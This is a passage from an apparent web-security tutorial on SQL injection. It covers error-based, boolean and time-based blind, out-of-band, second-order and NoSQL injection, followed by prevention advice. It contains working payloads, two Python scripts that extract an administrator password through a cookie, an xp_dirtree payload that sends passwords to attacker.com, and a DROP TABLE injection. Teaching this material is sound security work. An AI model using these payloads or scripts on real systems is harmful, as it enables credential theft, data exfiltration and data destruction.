&lt;p&gt;On SQL Server 2016+, uses &lt;code&gt;JSON_VALUE&lt;/code&gt; to produce an error if JSON is malformed, leaking user() value.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 XML-Based Errors (MySQL)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The invalid &lt;code&gt;updatexml&lt;/code&gt; call raises an XML parsing error containing the username. The hex &lt;code&gt;0x7e&lt;/code&gt; (&lt;code&gt;~&lt;/code&gt;) prefixes the value for easy parsing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT database())))--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similar to &lt;code&gt;UPDATEXML&lt;/code&gt;, &lt;code&gt;EXTRACTVALUE&lt;/code&gt; triggers an error embedding the current database name.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Blind SQL Injection
&lt;/h2&gt;

&lt;p&gt;Blind SQLi relies on inference rather than direct output. Here are additional payloads for boolean and time-based variations:&lt;/p&gt;

&lt;h3&gt;
  
  
  7.1 Boolean-Based (Conditional Responses)
&lt;/h3&gt;

&lt;p&gt;Extract data one bit at a time when no data or errors are returned. Below are multiple payloads and their explanations:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND (SELECT COUNT(*) FROM users)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the count is nonzero, the condition is true and the application may reveal a valid session. Used to test aggregate queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 2:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks for existence of the ‘admin’ user. True if the user exists, false otherwise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 3 (Substring Test):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Targets the second character of the password. By adjusting position and character, you reconstruct the full string.&lt;/p&gt;

&lt;h4&gt;
  
  
  7.1.1 Automating with Python
&lt;/h4&gt;

&lt;p&gt;Click to expand script&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter tracking id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter session id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter url: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 1) Find length
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_length&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;+AND+(select+length(password)+from+users+where+username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome back!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;

&lt;span class="c1"&gt;# 2) Extract characters
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;+AND+(select+substring(password,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,1)+from+users+where+username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome back!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password length:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script calculates the password length then iteratively extracts each character using substring checks and boolean feedback.&lt;/p&gt;




&lt;h3&gt;
  
  
  7.2 Time-Based Blind Injection
&lt;/h3&gt;

&lt;p&gt;When no response differences or errors are available, use time delays. Additional payload examples:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 1 (MySQL SLEEP):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='&lt;/span&gt;&lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="s1"&gt;') &amp;gt; 109, SLEEP(5), 0)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks if the ASCII value of the first character is greater than ‘m’ (109). Sleeps if true, enabling binary search on character values.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 2 (MSSQL WAITFOR):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'; IF (SELECT LEN(password) FROM users WHERE username='&lt;/span&gt;&lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="s1"&gt;') = 10 WAITFOR DELAY '&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Infers password length by sleeping only when the length equals 10.&lt;/p&gt;

&lt;h4&gt;
  
  
  PostgreSQL Delay via Sleep
&lt;/h4&gt;

&lt;p&gt;Click to expand script&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;session_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter session id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter url: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abcdefghijklmnopqrstuvwxyz0123456789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;||(SELECT CASE WHEN substring(password,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,1)=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Position &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using an IF condition with &lt;code&gt;pg_sleep&lt;/code&gt; enables bitwise extraction by observing delays. We choose this payload for PostgreSQL environments for its precision and reliability.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Out‑of‑Band (OAST) SQL Injection
&lt;/h2&gt;

&lt;p&gt;When neither data nor error feedback is exposed, trigger external callbacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'; EXEC master..xp_dirtree '&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;'+(SELECT password FROM users)+'&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="k"&gt;share&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload instructs the database server to perform a network call to the attacker’s domain, embedding the password in the path. We choose the &lt;code&gt;xp_dirtree&lt;/code&gt; function because it reliably causes DNS resolution in MSSQL environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. SQL Injection in Different Contexts
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Second‑Order SQLi:&lt;/strong&gt; Payloads stored in the application (e.g., comments, profiles) are later executed when that data is used in a new SQL context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Initial storage:&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;posts&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Great post'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Later, when viewing posts, the DROP TABLE executes.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We use this example to illustrate how injections can hide in benign inputs and trigger later, bypassing initial sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NoSQL Contexts:&lt;/strong&gt; Document databases like MongoDB suffer similar flaws if user input is embedded directly in JSON queries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;passInput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Injecting &lt;code&gt;{ "$ne": null }&lt;/code&gt; bypasses both fields. This payload exploits type coercion and query structure in NoSQL contexts.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Preventing SQL Injection
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Parameterized Queries / Prepared Statements:&lt;/strong&gt; Bind variables instead of concatenating strings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ORMs &amp;amp; Query Builders:&lt;/strong&gt; Rely on built-in methods that auto-escape inputs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strict Input Validation:&lt;/strong&gt; Use allow-lists for IDs, enforce regex for emails, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least Privilege:&lt;/strong&gt; Limit database user rights to only necessary operations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error Handling:&lt;/strong&gt; Suppress verbose errors in production; log details internally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular Testing:&lt;/strong&gt; Combine automated scanners with manual pentesting.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Never trust user input—always treat it as data, not code.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Additional Resources &amp;amp; Cheat Sheets
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PortSwigger Web Security Academy:&lt;/strong&gt; &lt;a href="https://portswigger.net/web-security" rel="noopener noreferrer"&gt;https://portswigger.net/web-security&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DVWA:&lt;/strong&gt; &lt;a href="http://www.dvwa.co.uk/" rel="noopener noreferrer"&gt;http://www.dvwa.co.uk/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Juice Shop:&lt;/strong&gt; &lt;a href="https://owasp.org/www-project-juice-shop/" rel="noopener noreferrer"&gt;https://owasp.org/www-project-juice-shop/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hack The Box:&lt;/strong&gt; &lt;a href="https://www.hackthebox.com/" rel="noopener noreferrer"&gt;https://www.hackthebox.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe:&lt;/strong&gt; &lt;a href="https://tryhackme.com/" rel="noopener noreferrer"&gt;https://tryhackme.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cheat Sheets &amp;amp; References
